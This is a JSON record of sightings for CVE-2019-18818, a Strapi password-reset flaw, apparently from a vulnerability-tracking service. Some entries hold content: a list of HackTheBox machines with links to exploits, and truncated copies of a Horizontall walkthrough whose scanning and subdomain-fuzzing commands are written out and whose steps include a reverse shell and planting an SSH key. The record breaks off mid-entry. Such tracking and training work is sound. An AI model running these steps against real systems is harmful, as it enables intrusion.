{"vulnerability": "cve-2019-1881", "sightings": [{"uuid": "ff5d46db-d8b5-49ac-9786-45d36f2f0229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "MISP/e95bd878-d7d0-432b-98eb-5357f4615dad", "content": "", "creation_timestamp": "2024-11-14T06:10:00.000000Z"}, {"uuid": "e4979525-3c82-437f-b839-cd9dbd18ef81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "25071dbe-a6bf-4f3a-9ee3-2c95180007e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "2c436215-dd10-47df-8ac3-7ab1c73be613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-27)", "content": "", "creation_timestamp": "2025-02-27T00:00:00.000000Z"}, {"uuid": "cd581ff0-4af7-4387-a475-aafd7640453d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:14.000000Z"}, {"uuid": "71071955-1997-4217-ae54-4d3035194f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-11)", "content": "", "creation_timestamp": "2025-02-11T00:00:00.000000Z"}, {"uuid": "25ec0e44-01d5-4e1c-9fbd-323ab50c01dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-26)", "content": "", "creation_timestamp": "2025-02-26T00:00:00.000000Z"}, {"uuid": "dc2c6377-e09b-4655-ad64-fa75864cddd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-14)", "content": "", "creation_timestamp": "2025-02-14T00:00:00.000000Z"}, {"uuid": "efb9b233-6b8c-4a58-bd50-c12acb511ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-20)", "content": "", "creation_timestamp": "2025-02-20T00:00:00.000000Z"}, {"uuid": "54b2784f-9f18-4c75-9cdb-90e020371293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-26)", "content": "", "creation_timestamp": "2025-05-26T00:00:00.000000Z"}, {"uuid": "1a362675-572e-4ae4-8b08-421d38a7b99c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-05)", "content": "", "creation_timestamp": "2025-07-05T00:00:00.000000Z"}, {"uuid": "9084feb5-9621-463b-bdde-9a6d3ea81818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-28)", "content": "", "creation_timestamp": "2025-06-28T00:00:00.000000Z"}, {"uuid": "07aead12-e422-4111-9b7c-b2dbab08a8ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-08)", "content": "", "creation_timestamp": "2025-06-08T00:00:00.000000Z"}, {"uuid": "435a70c9-97d0-4b45-bcfe-9be136c68be2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:12:58.000000Z"}, {"uuid": "7a1c1d8e-1100-4a6e-be86-0b99f455ec1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-07)", "content": "", "creation_timestamp": "2025-11-07T00:00:00.000000Z"}, {"uuid": "e0925a1d-629e-4867-9b5b-90441fa1e88e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/strapi_3_password_reset.rb", "content": "", "creation_timestamp": "2024-11-21T12:42:37.000000Z"}, {"uuid": "b8c0b46c-8711-4097-8895-6defbcba28ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-04)", "content": "", "creation_timestamp": "2025-09-04T00:00:00.000000Z"}, {"uuid": "9cb4d1da-d109-4b4c-8249-456b22e8e0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-25)", "content": "", "creation_timestamp": "2026-02-25T00:00:00.000000Z"}, {"uuid": "a5e96a7b-cb03-40f3-814d-4adb5c7f83cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-07)", "content": "", "creation_timestamp": "2025-12-07T00:00:00.000000Z"}, {"uuid": "ec4f873f-002e-41e3-a51c-e94f18a35a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-04)", "content": "", "creation_timestamp": "2026-01-04T00:00:00.000000Z"}, {"uuid": "ef67133a-7a20-4621-9dd0-9c7822d8e2c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "https://t.me/arm1tage/129", "content": "HackTheBox:\n\n\u2014Easy Machines\u2014\n\nDriver - WinRM (evil-winrm), printnightmare CVE-2021-1675 (https://habr.com/ru/sandbox/156538/)\nhttps://0xdf.gitlab.io/2022/02/26/htb-driver.html\n\nSecret - JWT, Git source (tig), crush-dumps\nhttps://0xdf.gitlab.io/2022/03/26/htb-secret.html\n\nBackDoor - Wordpress eBook Dir Trav (https://www.exploit-db.com/exploits/39575), gdb exploit (https://www.exploit-db.com/exploits/50539, https://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/) \nhttps://0xdf.gitlab.io/2022/04/23/htb-backdoor.html\n\nPrevise - Backup, Site Reverse Shell, low-encrypted passwords\nhttps://0xdf.gitlab.io/2022/01/08/htb-previse.html\n\nBountyHunter - XXE, (root) NOPASSWD python code\nhttps://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html\n\nHorizontal - Strapi CMS 3.0.0 CVE-2019-18818/CVE-2019-19609 (https://www.exploit-db.com/exploits/50239, https://github.com/diego-tella/CVE-2019-19609-EXPLOIT), Laravel v8 (https://www.exploit-db.com/exploits/49424)\nhttps://0xdf.gitlab.io/2022/02/05/htb-horizontall.html\n\nOptimum - Windows 2012 (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/, https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc/)\nhttps://0xdf.gitlab.io/2021/03/17/htb-optimum.html\n\nLame - FTP Anonymous, SAMBA exploit (https://github.com/amriunix/CVE-2007-2447)\nhttps://0xdf.gitlab.io/2020/04/07/htb-lame.html\n\nJerry - Tomcat Default Cred, shell via .WAR\nhttps://0xdf.gitlab.io/2018/11/17/htb-jerry.html\n\nBlue - Win7 eternalblue (https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/)\nhttps://0xdf.gitlab.io/2021/05/11/htb-blue.html\n\nDevel - Microsoft IIS httpd 7.5 reverse shell via .ASPX, MS11-046 or ms10_015_kitrap0d (https://github.com/abatchy17/WindowsExploits/tree/master/MS11-046)\nhttps://0xdf.gitlab.io/2019/03/05/htb-devel.html\n\nNetmon - PRTG Network Monitor 18.1.37.13946, Backup credentials, CVE-2018-9276 (https://github.com/A1vinSmith/CVE-2018-9276) / (https://www.exploit-db.com/exploits/46527) + evil-winrm\nhttps://0xdf.gitlab.io/2019/06/29/htb-netmon.html\n\nExplore (Android) - 59777 port CVE-2019-6447 (https://www.exploit-db.com/exploits/50070), SSH Creds on Photo, adb shell\nhttps://0xdf.gitlab.io/2021/10/30/htb-explore.html\n\nAntique - Telnet password via snmpget (https://www.irongeek.com/i.php?page=security/networkprinterhacking#JetDirect%20password%20notes), CUPS 1.6.1 (https://github.com/jpillora/chisel) \nhttps://0xdf.gitlab.io/2022/05/03/htb-antique.html\n\nReturn - evil-winrm, Server Operators in net user svc-printer /domain, sc.exe\nhttps://0xdf.gitlab.io/2022/05/05/htb-return.html\n\nGrandpa - CVE-2017-7269 (https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl/), SEImpersonalPrivilege Churrasco (https://github.com/Re4son/Churrasco/)\nhttps://0xdf.gitlab.io/2020/05/28/htb-grandpa.html\n\nBeep - ShellShock or Elastix 2.2.0 - 'graph.php' Local File Inclusion, (root) NOPASSWD nmap\nhttps://0xdf.gitlab.io/2021/02/23/htb-beep.html\n\nPandora - snmpwalk creds, CVE-2021-32099, Site Reverse Shell\nhttps://0xdf.gitlab.io/2022/05/21/htb-pandora.html\n\nPaper - WPS 5.2.3 - Cve-2019-17671 (https://www.exploit-db.com/exploits/47690, https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), Chat Bot Dir Trav, CVE-2021-3560 (https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py)\nhttps://0xjin.medium.com/paper-hackthebox-write-up-2abca22d3b54\n\n\n#hackthebox #ctf", "creation_timestamp": "2022-06-18T10:22:36.000000Z"}, {"uuid": "ef2c6cd9-bcbb-4af4-b354-a7a147a36cde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "Telegram/lRUCC0BJHYPhHSLUp64yC2-a8BbOW7ihAUJb144dihN1Y0A", "content": "", "creation_timestamp": "2025-02-17T04:00:07.000000Z"}, {"uuid": "2337663d-155d-45ad-80f4-5c7e6f29f791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-1881", "type": "published-proof-of-concept", "source": "Telegram/d-2Vv7Yuj4ak2ke5lZBk3wCGjIZb2guLMsm3XK3okzv2Jw", "content": "", "creation_timestamp": "2021-10-14T13:03:45.000000Z"}, {"uuid": "c7ce087b-f442-4a59-a82c-ae41bbd36eeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18816", "type": "seen", "source": "https://t.me/ctinow/179296", "content": "https://ift.tt/VKm9XeI\nCVE-2019-18816 | PopojiCMS 2.0.1 route.php post[1][content] Stored cross site scripting (Issue 21)", "creation_timestamp": "2024-02-05T16:16:28.000000Z"}, {"uuid": "75fb5a74-1d2b-4655-8b6b-dccdd9e79833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18817", "type": "seen", "source": "https://t.me/ctinow/182757", "content": "https://ift.tt/hwHq4vY\nCVE-2019-18817 | Istio up to 1.3.4 infinite loop (Issue 18229)", "creation_timestamp": "2024-02-11T12:06:29.000000Z"}, {"uuid": "e25ab0b0-6ab2-46d8-8128-6cad2362cb73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18815", "type": "seen", "source": "https://t.me/ctinow/179295", "content": "https://ift.tt/BSWbs30\nCVE-2019-18815 | PopojiCMS 2.0.1 refer redirect (Issue 22)", "creation_timestamp": "2024-02-05T16:16:27.000000Z"}, {"uuid": "7082339b-8021-44a6-a679-cd07df779982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18814", "type": "seen", "source": "https://t.me/ctinow/179294", "content": "https://ift.tt/p7Hh3uO\nCVE-2019-18814 | Linux Kernel up to 5.3.9 audit.c aa_label_parse use after free (K21561554)", "creation_timestamp": "2024-02-05T16:16:25.000000Z"}, {"uuid": "ef941bcc-cb4d-46f3-8edb-07a3fbc32f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18813", "type": "seen", "source": "https://t.me/ctinow/179267", "content": "https://ift.tt/oXge41G\nCVE-2019-18813 | Linux Kernel up to 5.3.9 dwc3-pci.c dwc3_pci_probe resource consumption (USN-4225-1)", "creation_timestamp": "2024-02-05T15:46:18.000000Z"}, {"uuid": "7b85159c-77fb-499b-b06d-5dcd38e81f25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18812", "type": "seen", "source": "https://t.me/ctinow/179266", "content": "https://ift.tt/WGyrN1s\nCVE-2019-18812 | Linux Kernel up to 5.3.9 sound/soc/sof/debug.c sof_dfsentry_write resource consumption", "creation_timestamp": "2024-02-05T15:46:17.000000Z"}, {"uuid": "af190a7d-7107-469f-a464-2c056aa9faf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18811", "type": "seen", "source": "https://t.me/ctinow/179265", "content": "https://ift.tt/pKC4VBR\nCVE-2019-18811 | Linux Kernel up to 5.3.9 sound/soc/sof/ipc.c sof_set_get_large_ctrl_data resource consumption", "creation_timestamp": "2024-02-05T15:46:16.000000Z"}, {"uuid": "ef4191d6-ad39-47c3-ba63-b21a11bd366b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18810", "type": "seen", "source": "https://t.me/ctinow/179259", "content": "https://ift.tt/hCYu1wi\nCVE-2019-18810 | Linux Kernel up to 5.3.7 komeda_wb_connector.c komeda_wb_connector_add resource consumption (USN-4208-1)", "creation_timestamp": "2024-02-05T15:21:37.000000Z"}, {"uuid": "a90d94ec-1293-4f96-bac3-475d7601977f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/ctinow/179297", "content": "https://ift.tt/kEX5lvV\nCVE-2019-18818 | strapi up to 3.0.0-beta.17.4 Password Reset Auth.js password recovery (ID 163939)", "creation_timestamp": "2024-02-05T16:16:29.000000Z"}, {"uuid": "c4a98cce-d4f9-4e97-9aeb-d38eecb9338d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-11)", "content": "", "creation_timestamp": "2026-05-11T00:00:00.000000Z"}, {"uuid": "6b6c70ab-70a5-46dc-b0f5-77d04dabb683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-23)", "content": "", "creation_timestamp": "2026-05-23T00:00:00.000000Z"}, {"uuid": "fde41e85-1cd2-45ae-bf02-c005ac5f1c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-06)", "content": "", "creation_timestamp": "2026-06-06T00:00:00.000000Z"}, {"uuid": "048e1911-d8dd-4312-b92c-d72f1714ec1b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/92c88308-f7f9-42db-a60f-a1b280239575", "content": "", "creation_timestamp": "2026-06-19T12:46:11.967377Z"}, {"uuid": "fe655bbb-b0ff-4bce-b9dd-73581761833f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e66ffb1e-9a9a-4e0a-a06f-23a20da78487", "content": "", "creation_timestamp": "2026-06-23T14:03:33.076868Z"}, {"uuid": "737f4670-24c4-4d87-87d0-78c5741ec543", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bcb0b0c3-bb21-4920-b584-9e9bf0e87e75", "content": "", "creation_timestamp": "2026-06-30T09:23:24.518453Z"}, {"uuid": "119ae031-c146-4119-9b5d-e170595adaeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/hacking_Attack/42979", "content": "Hacking Articles\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning\n\n* nmap\n\nEnumeration\n\n* Subdomain enumeration using wfuzz\n* Strapi password reset exploit\n\nExploitation\n\n* Exploiting strapi CVE-2019-18818 to gain a reverse shell\n* Initial information gathering\n* Setting up my SSH key in the victim\u2019s authorized_keys file\n\nPrivilege Escalation\n\n* Tunnelling internal website to our system\n* Exploiting Laravel CVE-2021-3129 to snag root flag\n\nLet\u2019s begin Network ScanningFirst, we will run a nmap scan on the victim machine\nnmap -sV -sC -Pn 10.129.149.92 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000 \n\nWe tried to look for exploitable vectors on the website itself but couldn\u2019t find any which indicated that we need to enumerate directories.\n\nEven directories enum didn\u2019t yield any results so we tried to enumerate subdomains.\nwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92 \nThis returned back an interesting subdomain called api-prod\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000 \n\nWe add this subdomain in hosts file and try to open the website.\necho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hosts \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 \n\nIt seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.\nwhatweb http://api-prod.horizontall.htb/admin/ \nhttps://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 \n\nWe observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.\nsearchsploit -m 50239 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:55.060745Z"}, {"uuid": "43d3dad3-e171-4a9a-9998-18dc7c8fde2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/hacking_Attack/42952", "content": "Hacking Articles|Raj Chandel's Blog\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunneling an internal application (Laravel) to local machine and running a PoC exploit on Laravel v 7.4.18Table of Content\u00b7 nmapEnumeration\u00b7 Subdomain enumeration using wfuzzExploitation\u00b7 Exploiting strapi CVE-2019-18818 to gain a reverse shellPrivilege Escalation\u00b7 Tunneling internal website to our systemNetwork ScanningFirst, we will run an nmap scan on the victim machine nmap -sV -sC -Pn 10.129.149.92https://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince, there was a website running on port 80, we added the address in our hosts file for resolution.wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92This returned back an interesting subdomain called api-prodecho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hostshttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 It seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.whatweb http://api-prod.horizontall.htb/admin/https://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 We observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4https://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit result showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password witho[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:55.150155Z"}, {"uuid": "3ef1f33e-bf98-48da-b8b8-0affa887941b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-24)", "content": "", "creation_timestamp": "2026-08-25T10:15:09.884538Z"}, {"uuid": "2c6a42f5-17b8-4c0b-aa0c-b77655b18113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/hacking_Attack/42048", "content": "Exploit Collector\nStrapi CMS 3.0.0-beta.17.4 Privilege 